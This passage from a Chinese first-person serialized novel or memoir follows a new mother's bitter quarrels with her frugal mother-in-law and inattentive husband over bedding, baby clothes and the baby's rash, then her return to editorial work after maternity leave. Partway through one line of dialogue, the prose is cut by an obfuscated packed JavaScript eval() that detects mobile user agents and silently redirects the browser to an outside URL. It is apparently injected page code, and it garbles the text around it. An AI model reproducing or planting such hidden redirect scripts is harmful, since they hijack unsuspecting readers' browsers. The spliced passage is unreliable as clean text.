我憋不住了,我抬起头跟她说:“你吃鸦片啊!你一把年纪了,说话那么能的!我不说你,你就老是这样说她?你说她多少回了?谁抽了?就你儿子抽了!端午不抽,我还不知道什么叫抽!你大儿子抽了!他不抽他天天窝在家里,不去上班!地上都是头发是吗?那是因为我给你家生孩子了。我生孩子掉头发你也拿来攻击我?你大儿子家,你想要头发也没有呢!我要你家的彩礼了是吗?你大儿子,你捧着彩礼想找人要还没人要呢!我不想揭你的伤疤你为什么老想找我的茬儿?”老太太不说话。可是我巴不得她说话。我巴不得她好好跟我说说,她为什么要胡说八道的。 过了几天,端午说:“我爸爸感冒好了,他要来看宝宝。” 我说:“好的,他不来也实在说不过去了,宝宝都快一个月了。” 端午的爸爸来了。 我问他:“爸爸,你感冒好了?” 他说:“是的,我感冒才好。我今天洗了个澡才来的。” 我笑着说:“爷爷来看宝宝。宝宝还不认识爷爷呢。爸爸来看一趟宝宝,跟领导来视察工作似的。” 他爸爸说:“我要上班的,我今天是特意请了假过来的。” 当时家里有买好的菜,婆婆天天买菜,我们给她生活费。她花地谨慎。只买猪肉,鲫鱼,鸡,猪肝,从来不买熟菜。我以前上班的时候来不及做菜,常买熟菜,熟菜都吃够了。婆婆不买熟菜,我在家里坐月子抱孩子我也想不起来。 公公来了,可能他觉得儿媳妇坐月子,他空着手来吃饭,不好意思,就跟我们说:“我去买个熟菜!” “家里有菜,不用买!”婆婆极力阻止,“不用去!不用去!” 老头子大概是觉得他应该买点菜,否则说不过去,他还是要去。 “我去吧,我去买个熟菜去。”老头子说。 在厨房忙碌的老太太急中生智,一声令下:“你来帮我择菜!” 老头子到了厨房,老太太厉声说:“你来帮我择菜,以后再买给她吃!!!”老太太急于阻拦老头子,说话的声音近乎嘶吼了。 老头子觉得不买菜实在说不过去,就坚持去买菜了。又花钱了,这可不把老太太活活给疼死了! 快“五一”的时候,天气有些回寒了,大概有十九、二十度的样子。要盖厚一点的被子了。宝宝跟老太太一起盖地被子有点薄了,我给她们又加了一条夏被、一条毯子。 端午看见了:“哎呀,不得了!盖地太少了!这几天降温,要盖厚被子!”端午大呼小叫地说。自从他妈妈来了以后,无论是在我那边住,还是在他们老家住,老太太的铺盖全是我一手操持的,端午是什么都没管过。感情这种人对孩子、对老人的关心都是“诈尸”似的。 我说:“我给她们加了夏被,还有毯子,天气忽冷忽热,这样可增可减。马上天热了,就可以拿掉。” 端午说:“不行,不行!我妈妈肯定冷!要换大被子!”说着,他就去我们房间柜子里找大被子了。 我说:“你妈妈又不冷,宝宝也不能盖地太多,都快‘五一’了,也不是太冷,也冷不了几天。再说,冷了,你妈妈会说的。” “冷的,冷的!我妈妈冷了不好意思说!要换大被子!”端午说着,就把冬天最冷的时候盖地羽绒被拿了出来。 我说:“这个天盖羽绒被子太热了。宝宝受不了。” 端午说:“不热!不热!冷的!冷的!我妈妈腰不好,会冷的!” 端午还觉得我舍不得给他妈妈盖呢。 我说:“你妈妈还没来,我就买好了全新的被子、被套,你妈妈跟宝宝一起睡,我就是舍不得给她盖,我还得给宝宝盖呢。这个天气,往夏天里奔了,真地不至于盖冬天的羽绒被了。” 端午还是不听。我知道我劝说也没用,我也不吭声了,随便他吧。 端午的妈妈也跟着端午过去了。他们娘俩儿一起在我们房间里“呼哧呼哧”地换起羽绒被来。一个“诈尸”似的要施展孝心,一个不明是非、不分冷热的支持、受用着自己的儿子“诈尸”似的孝心,随便他们吧。 羽绒被子拿到小房间了。 我说:“宝宝盖这种被子太热了,你就自己盖吧。”老太太就自己盖羽绒被子,宝宝还是盖我给她收拾的两条薄被子加一个毯子。 到了第二天,端午上班去了。老太太跟我说:“这个羽绒被太厚了,你收起来吧。” 我说:“我可不敢收,等端午来了让他收吧。我收了,你儿子回来又冤枉我,说我舍不得给你盖,虐待你,让你受冷、受罪,你到时候又牙关紧闭,不替我说话。” 老太太不说话了。什么人啊。 我说:“昨天,我就说,这个天用不着盖羽绒被,你在一边不吭声儿,由着你那脑子不清爽的儿子胡作非为,把个大冬天的羽绒被子拿出来给你盖,你也盖,你自己没感觉?不会判断?你自己冷不冷,你没有嘴,不会说?你儿子冤枉我的时候,你装可怜不吭声,搞得你真冷,我真地虐待你、舍不得给你盖羽绒被一样。这回,你儿子亲手给你盖的羽绒被,你可得好好享受,我可不敢给收起来。” 晚上,端午回来了。我说:“你妈妈说她热,要你把那个羽绒被收起来。” “哎呀,随便她吧!”端午不耐烦地应一声,转头儿就走了。我来到老太太的房间,跟老太太一起把羽绒被给换下来。再装起来。 这以后,端午再也没管过老太太的冷暖。换季的时候,老太太的冷暖还是我来操持。我们换厚的,就给她换厚的。我们换薄的,就给她换薄的。我不可能故意虐待她,故意让她受冷或是受热的。 人之为人,将心比心。老太太给我带孩子,有功劳也有苦劳。我怎么可能故意让她受罪。何况,我的宝宝在我月子里还跟着她睡。将来,我出了月子,宝宝偶尔还是会跟她睡,我即使不管老太太的冷热,还得管宝宝呢,我怎么可能会故意让她受冷呢。 3.“宝宝快满月了,你给她买件新衣服,不买就随她去。” 快到满月了,经验丰富的婆婆来指导我说:“宝宝快满月了,你给她买件新衣服。” 我说:“我天天在家坐月子抱孩子,不知道哪里有卖宝宝衣服的。” 她说:“超市里都有,九龙城也有。我买菜走不到那里去。我去南面买菜,卖宝宝衣服的在北面!” 我一时不知道这些地方在哪里,就陷入了沉思:“什么九龙城啊,香港的九龙城吗?在哪啊?我对你们这儿不熟,不知道九龙城在哪里。我产前跟端午一起去我那儿的‘孩子王’给宝宝买了几套衣服,宝宝现在裹在包被里,戴着尿不湿,只穿上衣,她的衣服暂时还够。我前几天还在犹豫呢,是网购呢,还是去‘孩子王’给她买衣服呢。听说市里也有卖宝宝衣服的,我还想着要不要去市里看看呢。” 老太太看我沉思,以为我舍不得买,就跟我说:“你不买就随她去!” 我说:“宝宝快满月了,我没经验,不懂得。你来提醒我,还跟我说,不想买就随她!你既然懂得,你怎么就不能给你孙女买件小衣服?你自己不买,你还说随她去!我年近四十,生了这么一个孩子,她满月了要买新衣服,你可以随她去,我能随她去吗?一件婴儿的衣服能有多少钱?你一个当奶奶的,你就不能给你的小孙女买件衣服吗?你没钱你节约。你就是活在古代,你也能买二尺小花布,给你孙女缝一件衣服吧?就是个原始人,它也能用皮毛给自己的子孙做件衣服吧!” “可怜我孩子,从我怀胎十月到她出生,你一个天天庵里庙里烧香拜佛,标榜自己善良慈祥的老太太,你从来没舍得给你孙女买过一件衣服。”我说着说着就哭了。 “给我!”我一把把孩子从她的怀里抢过来。孩子吓得大哭。 我也哭地更加厉害:“你疼她啊!你一丝布没给她买过!你疼她啊!” 我抱着孩子回到我们房间里,坐在床沿儿上,孩子哭,我也哭。 端午从书房里出来了。他看到我们娘俩儿一起哭,他心里也不好过。他跟我一起看着孩子。 老太太赶紧给老头子打电话:“喂!归逊!大省嫌爷爷奶奶不给宝宝买衣服!” 老头子电话打过来了:“大省,我们不知道买什么样的,怕我们买地不好。” 他自己也觉得这个理由不充分,就赶紧改口说:“大省,等宝宝百天,亲戚朋友会给红包的,没有一万,也有八千。” 我手里抱着孩子坐在床沿儿上,端午蹲在我右边,把手机放在我耳朵上。 我哭着说:“爸爸,我难过的是,我孩子从出生到现在,爷爷奶奶没给她买过一丝布,没给她买过一双袜子。你们怎么当的爷爷奶奶?全国的爷爷奶奶都是这样对待孙子的吗?金河市的行情是怎样的?你们没吃过猪肉还没见过猪跑吗?” 老头子说:“我发五百块钱红包给你,你们去给宝宝买件衣服。” 后来,我跟程云说了这事儿。 程云说:“不行的话,我给宝宝买!不就是一件衣服吗 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137815|180320||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' !” 我说:“凭什么你买!你不要买!该谁买谁买!我图的事钱吗?我自己有钱!我看的是心!这种爷爷奶奶,对他们的孙子,还有人心吗?还有人味儿吗?” 程云笑着说:“人家宝宝出生,爷爷奶奶都给买金花生,金镯子的。他们连件衣服也不买。” 我说:“这不是发了五百块钱红包吗。” 程云笑着说:“你家这老太婆老头子,推一推,动一动啊。不推就不动。” 我说:“钱是老头子出的。老太太舍不得给孩子花一分,她得用她的牙齿紧紧咬住每一分钱!她的那口牙为什么呲在外头,都是拼命地咬钢镚儿咬崩的!” 端午节的时候,端午的爸爸喊我们去外面吃饭。 我问端午:“去哪里吃啊?” 端午说:“在九龙城。” 我说:“你妈呢?” 端午说:“她自己走着去了。” 我说:“啊?九龙城那么近!她自己走着就去了!我还以为九龙城多远呢!她不是说她走不过去,不能给宝宝买衣服吗,她原来是撒谎的啊!你妈不仅抠门儿,还爱撒谎啊!” 这次端午节,比平时多了一个人。端午的爸爸妈妈讪讪地笑着跟我示意,我看那长相,就明白了,那人是端午的大哥陆陆。我自然地叫他哥哥。再招呼宝宝,叫大大。他点点头,不说话。这个没什么好奇怪的。早就听闻他不爱说话。 大家落座吃饭,我时不时偷偷看看他。他个子跟端午差不多,都是比他们父母高。只是,他毕竟比端午大七岁,看起来更像是一个中年男人。他前面的顶秃了,额头后方露出来一个花尖子。他的眼睛也是单眼皮,眼间距很近,像是豹子的眼睛,目不转睛。他目不斜视,夹菜只吃自己跟前的。 他爸爸要去给他盛饭,他拒绝了。“自己盛,自己盛。”他小声地说。 端午不理他,他若干年不上班,蜗居在家,不知干嘛。端午找对象都得把他隐瞒着,因为说不出口。端午单身时,曾经去敲他的门,他也不开。端午结婚,他也没有出来。端午对他应该是寒心又鄙视吧。 “叫大伯!”端午跟宝宝说。大伯当然听了也就听着。 过了一会儿,这个大伯皱着眉头踌躇了一下。 “叫舅舅啊?”他说。 “叫大伯。”端午立马纠正他。 他又不说话了,继续安安静静地吃饭,不看端午,不看我,也不看宝宝,真正地心外无物。从某种层面上来说,这才是真正的得道中人。他长得其实不赖,眉眼有点像一个男演员,对,像方中信。只是那很近的眼间距有点让人害怕。我记不得了,是不是有这种说法,有的罪犯的眼间距就是很近的。这样想着,我对他有点害怕了。 后来的一天下午,大概是五点钟,老太太做晚饭,我抱着宝宝在端午的小区东门口溜达。我看到小区大门外走进来一个人,穿着黑色的T恤,低着头往前走。我认出来,他是端午的大哥陆陆。 “陆陆!”我喊他一声。 “啊!”他停下来看了我一眼。 “我没有认出来。”他低声说。他像是一个被老师喊住的无辜又无奈的孩子。 我说:“没事儿。” 他急着继续赶路,回他自己的家。 “我走了。”他说。像是征求老师的允许。 我说:“嗯,你走吧。”他立刻像是得到了特赦似的走了,他往前走了十来步,左拐一下,他的身影就消失了。我突然想起来,端午说过,他跟端午就住在同一栋楼上,我抱着孩子赶上前去,想看看他走进了哪一个单元。我居然远远地追上了他的黑色的背影。他的房子跟端午的房子在同一排。他走进了距离端午的家大概有二百米的一个单元。很快我就看不到他了。我内心深处渴望的来自大伯的亲情在他的身上没有丝毫展现,他就像一个陌生人一样从我面前路过。不管我是他弟弟的老婆,也不管我抱的是他亲兄弟的孩子。 我回到家,跟老太太说:“我刚才看到陆陆了。” 她说:“你在哪看到的?” 我说:“就在东门,小区门口儿。你最近见过他吗?” 她说:“没有。” 我说:“他没认出我来,我喊他的。” 她说:“陆陆不爱讲话。他小的时候,披着他爸爸的衣服站在院子里,人家以为是他爸爸,就喊他爸爸的名字。‘归逊!归逊!’陆陆不说话。人家走近了,才知道是陆陆。人家跟他说,‘陆陆,你说话,我给你钱!’陆陆就是不说话。等人家走了,陆陆才说,‘我不要他们的钱。’他不像端午,我炒地菜不好吃,端午还挑剔。陆陆就不挑剔。给他什么他吃什么,他什么都不说。我跟你爸爸对端午,跟陆陆比起来,我们辛苦了十倍都不止!” 我说:“端午挑剔说明端午聪明。都像陆陆那样好啊?你们幸好生了端午。端午还能结婚给你们争面子,生孙子。陆陆六亲不认,他都快四十了,不理父母,不理兄弟。端午去找他玩,他连门都不开。你们老了,他也不管不问。这哪里好啊!你们生了二胎,你们庆幸还来不及,你居然还说养端午比养陆陆辛苦!端午让你们辛苦,你怎么不到他跟前去说?你跑到我跟前说干什么?端午娶老婆让你们操心了啊?陆陆不结婚,不出门,这叫给你们省心啊?你们想省这个心吗?你们巴不得哪家大姑娘接了你们的彩礼,赶紧跟他结婚呢。” 晚上,我给宝宝换尿不湿的时候,发现宝宝的大腿根子里腌了,红红的,一层皮已经掉了。 我跟她们说:“宝宝的腿腌了!都掉皮了!”端午跟他妈妈都不吭声。 我又心疼宝宝,又气愤他们只顾自己不顾孩子。 我说:“明天,我们带宝宝去金河市里给她看看!你们非要回白陆,白陆离市里那么远,还没有儿科,宝宝哪里不好了,根本没办法看!你们当然喜欢回你们自己的地盘了。谁管孩子了?” 端午说:“那行吧。明天,你跟我妈再带宝宝去看看。” 孩子的事,妈妈是最关心的。孩子的利益都是妈妈争取来的。谁像妈妈那样毫无私心地对待孩子呢。要是没有妈妈,孩子得少享多少福,多受多少罪啊。 第二天,我们一起抱着孩子,收拾好奶粉、尿不湿,去了医院,挂了皮肤科。 医生看了以后,说:“这是真菌感染,□□上也有,腋窝里也有。我给你开药,你回去给宝宝涂上。” 医生开了萘替芬酮康唑乳膏。我一回到家,就把宝宝放到床上,给她涂药。 老太太站在我的左手边,她看我给宝宝涂药,就对我说:“不行,就用我买的爽身粉,宝宝刚出生的时候,我去买的。现在还有大半碗呢。” 我说:“以后,你买的那袋子粉不用了,里面有滑石粉,对宝宝不好。医生说,这是真菌感染,要涂药。” 老太太不高兴了。她横横地说:“不用给我!我收起来!” 我说:“你不要生气!孩子的事,还是得听医生的!不能因为是你买的,就得一直给孩子用!就得比灵芝还珍贵!连医生开地方子都不如你的。我在‘孩子王’花了四十块钱给她买的两盒玉米粉,现在都不给她用了。你那几块钱的,还要给她用吗?你不能只顾你的威仪,不顾孩子吧!” “我知道你的。在你的眼里,你弄来的东西那都是天底下最好的!我待产的时候,你不是给过我一双旧地发白的老北京布鞋吗?我怎么能不穿呢?那家伙!那鞋比蜀锦做的宫鞋还要精美啊!你不是给过我一个巴掌大的一次性雨衣吗!好家伙!我得当做黄炮马褂儿一样收藏起来啊!你弄来的东西,再差别人也得用啊!” 4.“你放心,我会让你跟游戏一起过的!” 一个新建的公司给端午发了邮件,要挖他。 端午回家说了这事儿。 我说:“他们怎么知道你的?” “我前几年在网上发布的求职信息,被他看见了。” “噢!” “公司刚成立,没人,我要是去了,就是元老了。”端午欢欣鼓舞地说。 “他们不是骗人的吧。可别被骗了。你现在的公司虽然工资低,但是干地好好的。你辞职以后去了那里,不会还不如原来的吧。”我有些担心地说。 “不会骗人的。我去看了。”端午说。 “你都去过了?” “嗯。” “老板多大了?” “快四十了。有一儿一女。” “他问你了没有?” “问了。我说我有一个女儿。” 我笑了。 “老板说,给我加工资。以后我们就可以吃香的喝辣的了!”端午满怀憧憬地说。 我说:“你别高兴地太早!再说,工作也不单单为了吃香的喝辣的。你就这点出息啊。” “老板说,让我先学习,等学好了再慢慢加工资。”端午说。 “嗯,你学好了,这里不好,你还可以跳槽。你们企业里的人跳槽是常事。好像越跳工资越高,跳槽就是为了加工资。”我说。 “不跳槽了。”端午说,“对了,你有一万块钱吗?我想买台电脑。” “你买那么贵的干什么?你买个三五千的还不行啊?”我说。 “那种配置太低,不行。我要画图的。”他说。 “我不相信。人家技术好的话,用个烂电脑也可以画图。你家里的电脑不是可以用吗?”我说。 “你那里没有电脑,买个电脑,我下班了要加班的话可以用。”他说。 “宝宝现在吃奶粉,还有尿不湿,一个月四五千,还要打疫苗,你不知道?我还在坐月子呢?你问我要一万块钱,我哪里给你弄一万块钱去?”我生气了。 “不买就不买吧,等年底再买。我先用厂里的旧电脑。”端午说。 “我在坐月子的,你来问我要一万块钱,你怎么说地出口的?你就知道你自己!你心里还有老婆孩子吗?我一个产妇,我哪来的钱,要不,我去卖去?!”我质问他说。 “你说话怎么那么难听的?”端午说。 我冲着他说:“我说话难听,你怎么不说你做事难看的?!我在月子里呢,你没本事赚钱,你还问我要钱啊!你买个电脑三千、五千不行,你还要花一万块钱啊!你还有没有人性啊!” “我就跟你商量商量,不买就不买吧。”端午又是一脸无辜地说。 我说:“你跟我商量什么?你跟我商量商量,这两个月,你对宝宝不管不问,一分钱不交,你自己去买个一万块钱的电脑?我怀着孕,你一分钱不交,你去买pad。我现在坐月子呢,宝宝要吃奶粉,要用尿不湿。你又要买个一万块钱的电脑?” 端午说:“我就跟你说说,你怎么那么多话的?你就是话多。” 我说:“是的,我话多。你们说一句,我能怼你们一百句。可是你们一句鬼话能把人给噎死!气死!不怼上一百句都缓不过气来!” 端午说:“我买电脑是为了工作,我工作不是为了孩子吗?” 我说:“你要买电脑?你早干嘛去了?你买pad的时候,你怎么不想着买个电脑?!你只顾自己享受,哪里还管老婆孩子?! “你为了孩子?宝宝出生一两个月了,她夜里要吃要喝,你根本不问。都是我起来帮忙冲奶粉。你每天上班回来,看着我喂孩子,你还要指手画脚,胡乱干涉。我边抱着孩子,还得边跟你吵架。” 端午说:“我不带她,有我妈妈给我带!” 我说:“你妈妈给你带?你妈妈是男的吗?宝宝给你妈叫‘爸爸’吗?你妈妈可以代替你啊?这样说来,你妈妈得变性啊!人家孩子打疫苗,爸爸抱着去的多了,你去过吗?孩子去医院看病,你去过吗?她夜里吃奶,你起来过吗?你给她换过尿不湿吗?你给她冲过奶吗?” 端午说:“我不给她冲奶,因为我不会!” 我说:“宝宝出生多久了?你怎么有脸说你不会的?人家的爸爸怎么会的!人家孩子的爸爸除了不会生孩子,什么都会!人家的老婆除了生孩子什么都不用做!你好!你什么事儿都不管还来指手画脚!我带孩子辛苦一天,你还跑来跟我吵!你给我闭嘴吧!你对孩子没有发言权!你平时一点不管不问,你有什么资格跟我吵?!” 端午说:“我哪里不管孩子了?我不是给她刷过奶瓶吗?” 我说:“你刷过几次奶瓶?你怎么刷的奶瓶?我给她刷奶瓶都是刷好多下,刷地干干净净的。你好!你应付公事!你只刷一下,就把奶瓶收起来了!那刷子上头的奶粉都没刷掉,厚厚的,黄黄的,都发霉了,变黑了!不是我及时发现,你妈会继续用发霉变黑的刷子刷奶瓶!你对自己的孩子你都应付!你什么都不愿意干,你什么都干不好!我现在什么都不指望你!你闲地没个屁事,你去打你最爱的游戏!你不是最爱你的游戏吗?你去啊!” 端午说:“我没别的爱好!就爱打游戏!怎么了?” 我说:“没怎么!你最爱游戏,你对游戏最有热情,老婆、孩子唤不起你的热情!你最爱游戏,你去跟游戏一起过!” 端午说:“我就早晚打一个小时,我又不是一直打。” 我说:“你就打一个小时啊?每天早上,我忙孩子,要给她洗,要给她吃,我有多忙!我最忙的时候,你在打游戏!你蹲在马桶上打一个小时!别人不上厕所吗?你对孩子不管不顾,你去打游戏!你还有脸说啊?” 端午不说话了。 我说:“你只有在游戏里才是热情的,你的精气神儿都被游戏给吸光了!你打完游戏,你就失魂落魄了!你就剩下一个躯壳,你对老婆孩子再也没有热情了!你放心,我会让你跟游戏一起过的!你闲地发慌你吃完饭你去洗碗刷锅去!一个男人就知道动动嘴皮子,算什么本事。” 晚上,端午难得地去刷锅了,锅底的水他居然不擦。 我说:“锅底水淋淋的,那些水,你不擦干净,会流到燃气灶里的,我怕有危险。” 端午说:“没事儿!那些水会汇聚到一点,不会流到燃气灶里的。” 我说:“你还是擦擦吧,燃气可不是闹着玩儿的。” 端午还是不擦:“不用擦!不会流进去的。” 我说:“你能保证吗?” “我能保证!”他说。 我说:“你能保证,我还不相信你呢。你能保证锅底那么多水珠不会流到燃气灶里去啊!你控制的啊!这样说的话,那你每次洗完澡就不要用毛巾了,因为你浑身的水,都可以汇聚到一点,汇聚到你的屁股下面的。” 端午还是不擦:“锅底有毒,擦了锅底再擦锅,人吃了对身体不好。” 我说:“那也不能不擦锅底啊,锅底还是要清洗,要擦干净的呀!” 端午就是坚持不擦干锅底。 我说:“这样吧。你如果不要擦锅底,就让它水淋淋的,以后你自己住的时候,你就这样做。现在我不行。我孩子还小。我要保证我们的安全。等你以后自己住地时候,你想怎样就怎样。你自己站在上面我都不管。” 宝宝头三个月一直跟着老太太睡。我其实有点不舍。但是又怕我做月子做不好,坏了根本,又怕影响端午睡觉,我就忍忍。夜里,我一觉醒来,听听隔壁房间里宝宝没有声音,我还蛮想她的。我趴在她房门外的墙壁上,想着她,在心里跟她说,宝宝,你哭啊,你哭了妈妈就进来。 有时候她们房间门开着,我就蹑手蹑脚走进去看看宝宝。有时候她蹬了被子,我就给她盖盖。老太太穿着红衣,张着大嘴,露出长长的白白的牙齿睡地正香,呼噜打地正响,我看了都有些害怕。想想宝宝跟她一起睡觉,她口臭磨牙放屁,宝宝都得闻着,我真觉得对不起宝宝。我想把宝宝接过来跟我睡。端午当然乐意宝宝不来打扰他。可是我觉得这是宝宝的家,她爸爸妈妈的房间,她怎么不能进来睡。 5.“晚上出生的小老虎福气不好” 这一天,我跟老太太在家里坐着,我说:“宝宝的头发稀,人家徐颖的孩子头发多,刚生出来就一头黑头发,跟十八岁的似的!” 老太太说:“她的是中午生的,中午生的小老虎福气好,晚上生的小老虎福气不好。” 我实在忍不住了,我跟她说:“你怎么说我的孩子福气不好的?你凭什么说她福气不好的!你说了多少遍了!你是跟她有仇还是怎么的,你说她福气不好?” 老太太轻启龅唇,说:“我从来没有说过她福气不好!” 嗬!我惊呆了!居然能这么厚脸皮,说过的话不承认。 我说:“你是死不凭良心啊你!你说了三四遍了!你居然说你没说!你在广场上说过,我生下她两天你跟徐颖说过,你听说徐颖生了,你又说了!你刚才又说了!你说过的话居然不承认!你还有心吗!” 我产后抑郁加上被她气,直接疯狂了。 我拍着自己的胸脯说:“董家巧,你还是人吗?你说过的话你不承认啊!咱们骂是谁说的!我看在你是个老年人的份上,我不骂你啊!” 我“哇”地大哭!啊! “怎么有这种人!我怎么摊上这样的婆婆!她初生的孙女,她来放臭屁!她接二连三地放臭屁!我忍了又忍。我受不了了,来质问她。她居然立马就反口不承认!脸皮真厚!心真黑!太不凭良心!” “董家巧!我年近四十生了这么一个孩子啊!你两个儿子就这一个孙子!你儿子贫血病弱,不知道活到哪天啊!你鼓着个臭嘴说我孩子福气不好!天底下有你这样当奶奶的啊!” 我感觉我的悲痛在大脑皮层里冲击,快冲击到崩溃的临界点了。我现在处于清醒和疯子的边缘。我简直被她气疯了。说臭话放臭屁!居然转头就不承认! 我气不过!继续去问。她在厨房洗菜,不理我。 我对着她的后背问:“董家巧,你还有心吗?啊?你摸着你的良心说,你到底说了没有!晚上出生的小老虎福气不好!你说了没有啊!” 她说:“我是说的,晚上出生的小老虎,要自己苦着自己吃!” 我说:“你凭什么这样说她!你是脑子不清爽吗?你脑子有病吗?” 她眯着小眼睛说:“晚上出生的就是福气不好!我就福气不好啊!” 我说:“你跟她比?!你是什么年代?她是什么年代?你跟她比?!你就是苦!你天天胡说八道!你活该!你报应!你苦一辈子!她永远甜蜜!永远幸福!” 老太太看我要疯了,也吓坏了。她知道我抑郁了。是的,我活活被她气地抑郁了 “大省,我走了。”她慌慌张张地说,“我在这,你看我生气。我走了。” 我一个人抱着孩子。我终于不用看到她了。 这个世界喜欢安静,坏人安静地说了坏话,干了坏事,把人气死。被伤害的受害者不能歇斯底里地问,不能大吵大闹地问。可是每次我都被气地歇斯底里,每次我都被气地大吵大闹。老婆婆说了多少坏话、干了多少坏事,把人气死气炸,她自己还是弱小的可怜的无助的。 我一个人抱着宝宝坐在房间里。房间里一下子变得特别安静,连空气都是安静的。 端午下班回来了。 “我妈呢?”他问。 “她走了。”我说,“她说晚上出生的小老虎福气不好。我跟她吵架了。” “妈的!你把我妈气走了!”他说。 “你怎么不说你妈先气我的!你妈昏头昏脑,胡说八道!我刚生完孩子她就气我,把我的奶都气没了。害地宝宝没有奶吃!天天吃奶粉!我现在坐月子她还是胡说八道!‘晚上出生的小老虎福气不好!’她说过几回了?她从我待产说到现在!我忍了她多少次啊?” “妈的!你把我妈妈气走了!你自己带孩子!”端午说。 “你妈妈咒宝宝你不生气,你妈妈把我气地都要崩溃了,你也不生气。我气不过跟你妈吵架,你就生气了啊?你妈妈为什么走?因为她觉得我要被她气疯了!我已经被她气地到了临界点了!我下一秒就要疯!你们全家都说你们在帮我带孩子?孩子是我改嫁带过来的吗?不是你的孩子吗?你自己的孩子你自己带!我走!”我说着把孩子交到他怀里,摔开大门走了出去。 我到了端午家楼下,我看看小区的南大门,我并没有朝小区大门那里走去。我不能走,我放心不过我的孩子。这样的爸爸和奶奶,我能放心吗?我得时刻陪着我孩子,保护我孩子,我得给我孩子把关。我朝南大门对面走去。对,我就在小区里头转悠。 不一会儿,端午的妈妈来电话了。 “大省啊,端午怎么说你走了的?你可不要走啊!我马上过来!”她说。 我冲着电话说:“都是你胡说八道害的!这回你满意了吧?你胡说八道,我就跟你吵!你儿子就跟我吵!我们吵地过不下去离婚,让你儿子孙子受罪,你就满意了!” 老太太说:“我马上过来!你不要神经病!” 我说:“我神经病都是被你给气的!都是你这个神经病活活地把我给气成神经病了!” 我不放心孩子,就往家里赶去。我到家开门一看,端午正笨拙地抱着我的孩子呢。我把孩子抱过来坐下。扭着头,一声不吭。老太太开门进来了。 42. 产后复工难,我跟杨编辑吵架了 1.产后复工难,我跟杨编辑吵架了 快吃饭的时候,老太太说:“大省,我抱着孩子。你先吃!” 我说:“你也一起吃吧。别凉了。” 她说:“我凉点没事。你是产妇人哎。你不能吃凉的。” 我吃完饭去小房间换老太太吃饭。老太太正抱着孩子坐在床边儿上,背对着衣柜。 我说:“妈,我来抱孩子,你去吃饭吧。”老太太起来去吃饭了,我就抱起孩子坐在她原来坐着的墩子上。端午也进来了。 “咦!我怎么觉得那么挤的?你妈刚才坐在这儿一点儿都不挤嘛?”我说。 “她瘦!”端午笑了一下说。 “我胖是吗?我不是因为生孩子才胖的嘛?我以前有这么胖吗?我胖说明我消化好!你们消化不好,想胖都胖不起来!你来抱抱孩子,我浑身冒汗!我要去换身衣服!” 我在小房间抱着孩子,电话响了。是徐主任。 我说:“徐主任您好!” 徐主任说:“还在休产假吗?” 我说:“是的。” 他说:“你是三月份请的产假吗?” 我说:“对。因为我是高龄产妇,领导也不放心。就让我从三月份开始请假了。” 他说:“也就是你产前就请了一个月是吗?” 我说:“是的。” “宋大省,你看这样哈。产假都是从产后算起,四个月。你产前请的一个月,是要扣工资的。你这样吧,你就算是从产后开始请假,你产前请的一个月也算进去,一起算四个月。这样,你就不用扣工资了。” 我说:“好的,谢谢好领导。” 他说:“那这样算的话。你的产假到六月就结束了,以后该上班要上班。你自己心里要清楚。” 我说:“好的。” 六月底,我给阿杨组长发了信息。 我说:“阿杨。我的产假快结束了,孩子我也带满了一百天了。我想出去上班。不想在家了。我在家,天天跟婆婆待在一起,精神上压力也大。我都快产后抑郁了。何况,现在的形势很严峻,动不动就要被调走,我更要赶紧出来工作,否则,真地就被搁置了。而且,我没有母乳,我家孩子奶粉、尿不湿,都需要钱,开销太大。我出来上班,也好多挣点钱补贴家用。” 阿杨说:“你产后,身体还是要修复的,就像刚翻过的地,肯定要好好恢复一下的。我觉得你应该在家好好将养。” 我说:“我在家,各种压力太大了,上班对我来说,反而是一种放松。而且,孩子有老太太照顾,她照顾地很好,她也支持我上班。我还是想上班。我现在上班,可以直接进稿三阶段。我要是再耽误的话,还要在稿二阶段再磨一年。我不想在稿二阶段。” 阿杨看了我的信息,显然是不高兴了。 她用一种很官方的口气回复说:“你要上班,我没有这个能力,你还是跟孙部长说一下吧。”我看了她的信息,感受到了她的压力和冷气。但是我还是坚持我的想法。因为,我在家等,我等不起。 我把几乎同样的信息发给了孙部长。 孙部长给我回了电话。 他说:“大省,你可以上班了是吗?” 我说:“是的。部长。” 他说:“你看是这样哈,按理说呢,你产后,应该对你有所照顾的,应该给你减少工作量,让你有更多的时间,可以照顾孩子。但是,今年稿三阶段人手比较短缺。郝跃身体不好。你看看,你能不能多挑一点担子,负责现代文跟文言文这两块。” 我说:“孙部长,没问题的,我家孩子有我婆婆照顾,只要我能干得动,你给我多少工作量,我都可以。” 他说:“而且,你工作量多的话,也可以多拿一点津贴嘛。” 我说:“是的!是的!我们现在养孩子奶粉尿不湿的,可花钱了。” 孙部长说:“当然喽,我们工作也不能说全是为了钱。” 我说:“是的!是的!” 我知道,阿杨不高兴,但是,我管不了那么多了。 我要上班,要出来喘口气,否则,家里,孩子,婆婆,奶粉、尿不湿,压地我快喘不过气来。我都要濒临抑郁了。 开工的时候,我就去参加了开工会议。孙部长在开会的时候还特意提到了我。 “我们马上进入稿三阶段。新的开始,大家都元气满满地,产后的宋编辑也满血复活,准备战斗了!”大家哈哈大笑。 就这样,我顶着被阿杨不满的压力开始了工作。 我坐在进门的第一个位子上,郝跃坐在我的右手边第一个位子。我们中间隔着一条通道。 郝跃说:“我觉得,我想让你来上班,这里有我的私心。你一来,我就轻松了,我身体真地不行了,我的肌酐又升高了,我得保命了。而且,你来了,可以替我分担一些,也可以跟我一起抱团取暖,你不在,她们天天群殴我。但是,你刚生完孩子,又要照顾孩子,又要上班。确实太辛苦了。我觉得我有点对不起你。” 我说:“没事的,我上班跟你没有一点关系,我能吃苦的。我也喜欢挑战。” 郝跃说:“这样吧,以后你有什么事,需要换班的,我来帮你。” 我说:“那太好了。我主要是要请假给小孩打疫苗,我要是临时回不来,你就帮我照看一下。你要是有事,我也帮你。” 